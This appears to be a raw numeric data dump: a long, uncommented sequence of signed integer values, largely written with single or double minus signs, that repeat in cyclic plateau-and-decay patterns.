--113 --113 --113 --113 --113 --113 --113 --113 --97 --88 --97 --91 --85 --79 --58 --70 --65 --61 --57 --53 --50 --46 --43 --40 --37 --35 --32 --30 --28 --26 --25 --23 --22 --20 --18 --17 --17 --15 --13 --13 --12 --12 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -125 -120 -115 -113 -108 -105 -100 -95 -89 -84 -78 -73 -66 -62 -56 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --97 --92 --86 --81 --59 --70 --66 --62 --58 --53 --50 --47 --44 --40 --36 --34 --33 --30 --28 --27 --25 --23 --21 --20 --19 --17 --15 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -118 -113 -111 -108 -105 -99 -95 -89 -84 -78 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --88 --82 127 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -117 -109 -102 -99 -95 -93 -91 -89 -85 -81 -77 -72 -67 -62 -57 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 -122 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -117 -108 -101 -98 -95 -93 -91 -88 -85 -81 -76 -73 -67 -62 -57 -52 -47 -43 -39 -36 -33 -31 -28 -26 -24 -22 -21 -19 -17 -17 -15 -14 -13 -11 -11 -10 -9 -8 -7 -7 -6 -6 -5 -4 -3 -3 -2 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --91 --85 --80 --58 --69 --65 --61 --57 --53 --50 --47 --44 --40 --37 --35 --33 --31 --28 --27 --25 --23 --21 --20 --18 --17 --16 --14 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -118 -113 -111 -108 -104 -99 -95 -90 -85 -80 -74 -68 -63 -57 -52 -47 -44 -40 -36 -33 -31 -28 -26 -24 -23 -21 -19 -18 -17 -15 -15 -13 -12 -11 -10 -9 -8 -8 -7 -7 -6 -6 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --82 --91 --85 --81 --58 --69 --65 --61 --57 --53 --50 --47 --43 --40 --37 --35 --32 --30 --28 --26 --24 --23 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -120 -116 -113 -109 -105 -100 -96 -90 -84 -78 -72 -66 -61 -56 -51 -47 -44 -40 -37 -33 -31 -28 -26 -24 -22 -21 -19 -18 -17 -16 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 127 -113 -105 -98 -95 -92 -91 -89 -86 -83 -79 -75 -71 -66 -61 -56 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --85 --65 --75 --54 --65 --61 --57 --53 --49 --46 --43 --40 --37 --35 --33 --30 --28 --27 --25 --23 --21 --19 --18 --17 --17 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -119 -114 -112 -108 -104 -99 -95 -90 -85 -79 -74 -68 -63 -57 -52 -47 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -19 -17 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -8 -7 -6 -6 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --85 --80 --59 --70 --65 --60 --57 --53 --50 --47 --43 --41 --38 --35 --33 --30 --29 --27 --24 --22 --21 --20 --18 --16 --16 --15 --13 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -118 -114 -111 -107 -104 -100 -95 -91 -85 -79 -74 -67 -62 -56 -52 -47 -42 -39 -36 -33 -31 -28 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -7 -7 -6 -5 -5 -4 -3 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --85 --80 --58 --69 --65 --61 --57 --53 --50 --47 --43 --40 --38 --35 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -114 -111 -108 -104 -100 -95 -90 -85 -79 -73 -67 -62 -57 -52 -47 -43 -39 -37 -33 -31 -29 -26 -25 -23 -21 -20 -18 -16 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -7 -5 -4 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --85 --80 --59 --70 --65 --61 --57 --54 --50 --46 --44 --41 --38 --35 --33 --31 --28 --26 --25 --23 --22 --20 --18 --17 --16 --15 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -111 -108 -105 -99 -95 -90 -85 -79 -73 -67 --27 --89 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --94 --87 --97 -125 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -117 -108 -101 -98 -95 -93 -90 -89 -85 -81 -77 -72 -67 -63 -57 -52 -47 -43 -39 -35 -32 -30 -27 -25 -23 -22 -20 -18 -17 -17 -15 -14 -13 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -3 -3 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 -119 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -114 -106 -100 -96 -92 -90 -88 -86 -83 -80 -75 -71 -66 -61 -57 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --92 --86 --65 --75 --54 --66 --61 --57 --53 --49 --46 --43 --41 --39 --35 --33 --31 --29 --27 --25 --23 --21 --20 --19 --18 --16 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -108 -105 -99 -95 -90 -85 -79 -73 -67 -62 -57 -52 -47 -43 -40 -37 -34 -31 -28 -27 -25 -23 -21 -19 -17 -16 -15 -14 -12 -11 -11 -10 -9 -9 -8 -7 -6 -6 -5 -4 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --86 --81 --59 --70 --66 --61 --57 --53 --49 --46 --43 --40 --37 --35 --33 --31 --28 --27 --24 --23 --21 --19 --18 --17 --16 --15 --13 --13 --12 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -124 -119 -115 -113 -109 -105 -100 -96 -90 -85 -79 -73 -67 -62 -57 -52 -47 -43 -39 -37 -33 -31 -29 -27 -25 -23 -21 -20 -17 -15 -14 -13 -13 -13 -11 -10 -9 -8 -8 -7 -7 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --88 --82 --92 --86 --80 --59 --70 --65 --61 --57 --53 --50 --47 --43 --41 --38 --35 --33 --31 --28 --27 --25 --23 --22 --20 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -114 -112 -108 -104 -99 -95 -89 -85 -79 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --88 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -116 -107 -101 -98 -95 -94 -90 -88 -85 -81 -77 -72 -67 -63 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 -121 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -114 -106 -101 -98 -95 -93 -90 -89 -85 -81 -76 -71 -66 -61 -56 -52 -47 -44 -40 -37 -33 -31 -28 -26 -24 -21 -19 -18 -17 -16 -15 -14 -13 -12 -11 -11 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -3 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --86 --80 --59 --70 --66 --62 --57 --53 --50 --47 --43 --40 --38 --35 --33 --30 --28 --26 --24 --23 --21 --20 --19 --18 --17 --16 --15 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -133 -124 -118 -114 -111 -108 -105 -100 -95 -89 -84 -79 -73 -67 -62 -56 -51 -47 -43 -39 -35 -31 -30 -27 -26 -24 -23 -22 -21 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --91 --85 --81 --60 --70 --65 --61 --58 --54 --50 --47 --44 --41 --37 --35 --33 --30 --29 --27 --25 --23 --21 --20 --18 --17 --17 --16 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -119 -115 -113 -107 -104 -99 -95 -89 -84 -78 -72 -66 -61 -56 -51 -46 -42 -39 -37 -33 -31 -28 -26 -24 -22 -21 -20 -18 -17 -16 -15 -14 -13 -11 -10 -9 -9 -8 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --86 --80 --59 --70 --66 --61 --57 --54 --50 --47 --44 --41 --38 --36 --33 --31 --29 --27 --25 --23 --22 --21 --19 --17 --16 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -119 -115 -112 -108 -105 -100 -96 -90 -85 -78 -73 -67 --28 --91 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --83 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 126 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -117 -107 -102 -98 -95 -93 -91 -89 -86 -82 -77 -72 -67 -63 -57 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 116 -107 -101 -98 -95 -93 -90 -88 -84 -81 -76 -71 -65 -60 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 -125 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -116 -107 -101 -98 -95 -93 -91 -88 -85 -81 -76 -72 -67 -62 -57 -52 -47 -43 -39 -36 -33 -31 -28 -26 -25 -23 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -8 -7 -6 -6 -5 -4 -4 -3 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --92 --86 --81 --59 --70 --65 --61 --57 --53 --50 --46 --44 --41 --38 --35 --33 --31 --29 --26 --24 --23 --21 --19 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -114 -112 -109 -105 -99 -95 -89 -84 -78 -72 -65 -61 -55 -51 -47 -44 -40 -37 -33 -31 -28 -27 -24 -23 -21 -19 -18 -17 -16 -15 -14 -13 -12 -11 -10 -9 -9 -7 -7 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --88 --97 --92 --87 --80 --59 --71 --66 --61 --57 --54 --50 --47 --43 --40 --38 --35 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 108 -104 -99 -95 -89 -84 -78 -72 -66 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -107 +103 100 97 -94 -94 -91 -88 +93 +89 85 81 -76 -72 -67 -62 -57 -52 -47 -44 -40 -37 -33 -31 -29 -26 -24 -22 -20 -19 -18 -17 -15 -14 -13 -12 -11 -11 -9 -9 -7 -6 -6 -5 -5 -5 -4 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --92 --86 --81 --59 --70 --65 --62 --58 --54 --50 --47 --44 --41 --38 --35 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --14 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -140 -131 -124 -118 -114 -111 -107 -104 -100 -95 -89 -84 -79 -73 -67 -62 -56 -52 -47 -44 -40 -37 -34 -32 -29 -28 -25 -24 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --82 --91 --85 --80 --59 --70 --65 --61 --57 --53 --50 --47 --44 --40 --37 --35 --32 --30 --28 --26 --25 --23 --21 --20 --18 --17 --16 --14 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -118 -115 -112 -108 -105 -100 -95 -90 -85 -79 -73 -67 -62 -56 -52 -47 -43 -39 -36 -33 -31 -28 -27 -25 -23 -22 -20 -18 -17 -15 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --91 --85 --81 --60 --70 --65 --61 --58 --54 --50 --47 --44 --41 --37 --35 --33 --31 --29 --26 --25 --23 --21 --19 --18 --17 --15 --14 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -109 -105 -100 -95 -90 -85 -79 -73 -67 -61 -56 -51 -47 -43 -40 -37 -34 -32 -29 -27 -25 -23 -22 -20 -18 -17 -16 -15 -13 -12 -11 -11 -9 -9 -7 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 -119 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -106 -99 -96 -93 -92 -89 -87 -83 -80 -75 -71 -65 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --82 --92 --86 --64 --75 --54 --66 --61 --58 --54 --50 --47 --44 --40 --38 --35 --33 --30 --28 --27 --25 --23 --21 --19 --19 --17 --16 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -111 -108 -105 -100 -95 -90 -84 -79 -73 -67 -62 -56 -52 -47 -43 -40 -37 -33 -31 -28 -27 -25 -23 -22 -20 -18 -17 -15 -14 -14 -13 -12 -11 -10 -9 -7 -7 -5 -5 -4 -4 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -113 -105 -99 -95 -93 -92 -89 -86 -83 -80 -76 -71 -66 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --85 --64 --75 --55 --66 --61 --57 --53 --50 --47 --44 --41 --38 --36 --33 --31 --29 --27 --25 --23 --21 --20 --19 --18 --16 --15 --15 --14 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -124 -119 -115 -112 -108 -105 -100 -96 -90 -85 -79 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -32 -29 -28 -25 -24 -22 -20 -19 -17 -16 -15 -13 -12 -11 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --82 --91 --86 --81 --59 --70 --65 --61 --57 --53 --49 --46 --43 --40 --37 --35 --33 --30 --28 --26 --24 --23 --21 --20 --18 --17 --16 --15 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -109 -105 -100 -95 -90 -84 -78 -72 -66 -62 -56 -52 -47 -43 -40 -37 -33 -31 -28 -26 -25 -23 -21 -20 -18 -17 -16 -14 -13 -12 -11 -11 -10 -9 -8 -7 -7 -6 -5 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 -118 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -114 -105 -99 -95 -93 -91 -89 -86 -83 -79 75 70 64 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --92 --86 --65 --75 --54 --65 --61 --57 --53 --50 --47 --44 --41 --39 --35 --33 --31 --28 --26 --24 --22 --21 --19 --18 --17 --16 --15 --13 --12 --11 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -133 -124 -118 -114 -111 -107 -105 -100 -95 -89 -84 -78 -73 -66 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --87 --97 -124 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -108 -101 -97 -94 -93 -90 -87 -84 -80 -76 -72 -67 -62 -57 -52 -47 -44 -39 -37 -33 -31 -28 -26 -24 -23 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -5 -5 -5 -4 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --82 --91 --86 --81 --60 --70 --65 --62 --58 --53 --50 --47 --44 --41 --38 --36 --33 --31 --28 --27 --25 --23 --22 --22 --19 --17 --16 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -111 -108 -104 -99 -95 -89 -84 -78 -72 -65 -61 -55 -51 -47 -43 -40 -37 -33 -31 -29 -27 -25 -23 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -5 -4 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --86 --80 --59 --70 --66 --61 --57 --53 --50 --47 --43 --40 --37 --35 --33 --30 --28 --26 --25 --23 --21 --20 --18 --17 --16 --15 --13 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -119 -115 -112 -107 -104 -99 -95 -89 -84 -78 -73 -67 -62 -56 -52 -47 -43 -40 -37 -33 -31 -29 -27 -25 -23 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -9 -7 -7 -7 -6 -6 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -113 -104 -99 -95 -93 -91 -89 -86 -83 -80 -75 -71 -65 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --92 --86 --65 --76 --54 --66 --62 --58 --53 --49 --46 --43 --41 --38 --35 --33 --31 --28 --26 --24 --23 --22 --20 --19 --18 --16 --15 --13 --12 --11 --10 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -118 -115 -112 -108 -105 -100 -95 -90 -85 -79 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --89 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -116 -107 -101 -98 -95 -94 -90 -88 -85 -81 -77 -72 -66 -62 -57 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --83 -121 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -107 -101 -98 -95 -94 -91 -88 -84 -81 -76 -72 -67 -62 -57 -52 -47 -43 -39 -36 -33 -31 -27 -25 -24 -23 -20 -19 -18 -17 -15 -15 -13 -12 -11 -10 -9 -9 -8 -7 -6 -5 -5 -4 -4 -3 -3 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --85 --80 --58 --69 --65 --60 --57 --54 --50 --47 --43 --41 --38 --36 --33 --30 --28 --27 --25 --23 --22 --20 --19 --17 --16 --16 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -115 -112 -108 -105 -100 -95 -89 -84 -78 -72 -66 -61 -56 -51 -47 -44 -39 -37 -33 -30 -28 -27 -25 -23 -21 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --91 --83 --91 --86 --81 --60 --70 --65 --61 --58 --54 --49 --46 --44 --41 --38 --35 --33 --32 --29 --27 --25 --23 --22 --20 --19 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -104 -99 -95 -89 -84 -78 -72 -66 -61 -56 -51 -47 -43 -39 -37 -35 -32 -30 -27 -25 -23 -21 -19 -18 -16 -15 -14 -13 -13 -11 -11 -10 -9 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --82 --91 --86 --81 --59 --69 --65 --61 --58 --53 --50 --46 --44 --40 --38 --35 --33 --31 --29 --27 --25 --23 --22 --21 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -119 -114 -111 -108 -105 -99 -95 -90 -84 -79 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -32 -29 -27 -25 -23 -22 -20 -18 -17 -16 -15 -13 -13 -12 -11 -10 -8 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --91 --85 --80 --59 --70 --65 --61 --57 --54 --50 --47 --44 --41 --38 --35 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -114 -112 -108 -105 -100 -95 -90 -84 -79 -73 -65 -61 -55 -51 -47 -43 -41 -37 -33 -31 -28 -27 -25 -23 -21 -20 -18 -17 -16 -15 -14 -13 -11 -10 -10 -9 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 